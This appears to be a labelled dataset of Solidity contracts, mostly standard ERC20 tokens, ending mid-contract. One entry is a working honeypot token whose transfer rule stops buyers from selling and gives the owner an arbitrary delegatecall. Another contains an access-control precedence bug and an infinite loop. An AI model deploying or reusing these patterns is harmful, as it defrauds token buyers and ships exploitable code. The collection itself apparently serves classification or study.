function getAngel(uint64 _angelId) constant public returns(uint64 angelId, uint8 angelCardSeriesId, uint16 battlePower, uint8 aura, uint16 experience, uint price, uint64 createdTime, uint64 lastBattleTime, uint64 lastVsBattleTime, uint16 lastBattleResult, address owner) {
Angel memory angel = angelCollection[_angelId];
angelId = angel.angelId;
angelCardSeriesId = angel.angelCardSeriesId;
battlePower = angel.battlePower;
aura = uint8(angel.aura);
experience = angel.experience;
price = angel.price;
createdTime = angel.createdTime;
lastBattleTime = angel.lastBattleTime;
lastVsBattleTime = angel.lastVsBattleTime;
lastBattleResult = angel.lastBattleResult;
owner = angel.owner;
}
function getOwnerAngelCount(address _owner) constant public returns(uint) {
return ownerAngelCollection[_owner].length;
}
function getAngelByIndex(address _owner, uint _index) constant public returns(uint64) {
if (_index >= ownerAngelCollection[_owner].length) {
return 0; }
return ownerAngelCollection[_owner][_index];
}
function getTotalAngelCardSeries() constant public returns (uint8) {
return totalAngelCardSeries;
}
function getTotalAngels() constant public returns (uint64) {
return totalAngels;
}
} | 1 | 4,742 |
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Yadou is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string public name = "Yadou";
string public symbol = "Yadou";
uint public decimals = 18;
uint256 private _totalSupply = 10000000000000000000000000;
constructor () public{
_balances[msg.sender] = _totalSupply;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
} | 1 | 3,438 |
pragma solidity ^0.4.23;
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
contract DSStop is DSNote, DSAuth {
bool public stopped;
modifier stoppable {
require(!stopped);
_;
}
function stop() public auth note {
stopped = true;
}
function start() public auth note {
stopped = false;
}
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
}
contract ERC20 {
function totalSupply() constant public returns (uint256 supply);
function balanceOf(address _owner) constant public returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) constant public returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Coin is ERC20, DSStop {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 internal c_totalSupply;
mapping(address => uint256) internal c_balances;
mapping(address => mapping(address => uint256)) internal c_approvals;
function init(uint256 token_supply, string token_name, string token_symbol) internal {
c_balances[msg.sender] = token_supply;
c_totalSupply = token_supply;
name = token_name;
symbol = token_symbol;
}
function() public {
assert(false);
}
function setName(string _name) auth public {
name = _name;
}
function totalSupply() constant public returns (uint256) {
return c_totalSupply;
}
function balanceOf(address _owner) constant public returns (uint256) {
return c_balances[_owner];
}
function approve(address _spender, uint256 _value) public stoppable returns (bool) {
require(_value < c_totalSupply);
c_approvals[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return c_approvals[_owner][_spender];
}
}
contract FreezerAuthority is DSAuthority {
address[] internal c_freezers;
bytes4 constant setFreezingSig = bytes4(0x51c3b8a6);
bytes4 constant transferAndFreezingSig = bytes4(0xb8a1fdb6);
function canCall(address caller, address, bytes4 sig) public view returns (bool) {
if (isFreezer(caller) && sig == setFreezingSig || sig == transferAndFreezingSig) {
return true;
} else {
return false;
}
}
function addFreezer(address freezer) public {
int i = indexOf(c_freezers, freezer);
if (i < 0) {
c_freezers.push(freezer);
}
}
function removeFreezer(address freezer) public {
int index = indexOf(c_freezers, freezer);
if (index >= 0) {
uint i = uint(index);
while (i < c_freezers.length - 1) {
c_freezers[i] = c_freezers[i + 1];
}
c_freezers.length--;
}
}
function indexOf(address[] values, address value) internal pure returns (int) {
uint i = 0;
while (i < values.length) {
if (values[i] == value) {
return int(i);
}
i++;
}
return int(- 1);
}
function isFreezer(address addr) public constant returns (bool) {
return indexOf(c_freezers, addr) >= 0;
}
}
contract LemoCoin is Coin, DSMath {
struct FreezingNode {
uint end_stamp;
uint num_lemos;
uint8 freezing_type;
}
mapping(address => FreezingNode[]) internal c_freezing_list;
constructor(uint256 token_supply, string token_name, string token_symbol) public {
init(token_supply, token_name, token_symbol);
setAuthority(new FreezerAuthority());
}
function addFreezer(address freezer) auth public {
FreezerAuthority(authority).addFreezer(freezer);
}
function removeFreezer(address freezer) auth public {
FreezerAuthority(authority).removeFreezer(freezer);
}
event ClearExpiredFreezingEvent(address indexed addr);
event SetFreezingEvent(address indexed addr, uint end_stamp, uint num_lemos, uint8 indexed freezing_type);
function clearExpiredFreezing(address addr) public {
FreezingNode[] storage nodes = c_freezing_list[addr];
uint length = nodes.length;
uint left = 0;
while (left < length) {
if (nodes[left].end_stamp <= block.timestamp) {
break;
}
left++;
}
uint right = left + 1;
while (left < length && right < length) {
if (nodes[right].end_stamp > block.timestamp) {
nodes[left] = nodes[right];
left++;
}
right++;
}
if (length != left) {
nodes.length = left;
emit ClearExpiredFreezingEvent(addr);
}
}
function validBalanceOf(address addr) constant public returns (uint) {
FreezingNode[] memory nodes = c_freezing_list[addr];
uint length = nodes.length;
uint total_lemos = balanceOf(addr);
for (uint i = 0; i < length; ++i) {
if (nodes[i].end_stamp > block.timestamp) {
total_lemos = sub(total_lemos, nodes[i].num_lemos);
}
}
return total_lemos;
}
function freezingBalanceNumberOf(address addr) constant public returns (uint) {
return c_freezing_list[addr].length;
}
function freezingBalanceInfoOf(address addr, uint index) constant public returns (uint, uint, uint8) {
return (c_freezing_list[addr][index].end_stamp, c_freezing_list[addr][index].num_lemos, uint8(c_freezing_list[addr][index].freezing_type));
}
function setFreezing(address addr, uint end_stamp, uint num_lemos, uint8 freezing_type) auth stoppable public {
require(block.timestamp < end_stamp);
require(num_lemos < c_totalSupply);
clearExpiredFreezing(addr);
uint valid_balance = validBalanceOf(addr);
require(valid_balance >= num_lemos);
FreezingNode memory node = FreezingNode(end_stamp, num_lemos, freezing_type);
c_freezing_list[addr].push(node);
emit SetFreezingEvent(addr, end_stamp, num_lemos, freezing_type);
}
function transferAndFreezing(address _to, uint256 _value, uint256 freeze_amount, uint end_stamp, uint8 freezing_type) auth stoppable public returns (bool) {
require(_value < c_totalSupply);
require(freeze_amount <= _value);
transfer(_to, _value);
setFreezing(_to, end_stamp, freeze_amount, freezing_type);
return true;
}
function transfer(address _to, uint256 _value) stoppable public returns (bool) {
require(_value < c_totalSupply);
clearExpiredFreezing(msg.sender);
uint from_lemos = validBalanceOf(msg.sender);
require(from_lemos >= _value);
c_balances[msg.sender] = sub(c_balances[msg.sender], _value);
c_balances[_to] = add(c_balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) stoppable public returns (bool) {
require(_value < c_totalSupply);
require(c_approvals[_from][msg.sender] >= _value);
clearExpiredFreezing(_from);
uint from_lemos = validBalanceOf(_from);
require(from_lemos >= _value);
c_approvals[_from][msg.sender] = sub(c_approvals[_from][msg.sender], _value);
c_balances[_from] = sub(c_balances[_from], _value);
c_balances[_to] = add(c_balances[_to], _value);
emit Transfer(_from, _to, _value);
return true;
}
} | 1 | 5,520 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 4;
uint8 public constant TOKEN_DECIMALS_UINT8 = 4;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "1irst";
string public constant TOKEN_SYMBOL = "FSCO";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x89cc23D79ef2B11E46b9ce72CcCF6839fa6a43C8;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x89cc23d79ef2b11e46b9ce72cccf6839fa6a43c8)];
uint[1] memory amounts = [uint(10000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 3,671 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract fuckyourfinance {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,589 |
pragma solidity =0.6.2;
interface IERC20 {
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
interface IERC721{
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface InftRoute{
function positions(uint256 tokenId)
external
view
returns (
uint96 nonce,
address operator,
address token0,
address token1,
uint24 fee,
int24 tickLower,
int24 tickUpper,
uint128 liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
);
function decreaseLiquidity(bytes calldata params) external payable returns (uint256 amount0, uint256 amount1);
function ownerOf(uint256 tokenId) external view returns (address owner);
}
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'MY ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'MY ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'MY ds-math-mul-overflow');
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "MY SafeMath: division by zero");
return a / b;
}
}
contract TheCollector{
using SafeMath for uint;
address payable public owner;
address public weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public Unft = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;
uint256 public fee = 100;
constructor() public payable{
owner = msg.sender;
}
modifier onlyOwner(){
require(msg.sender==owner);
_;
}
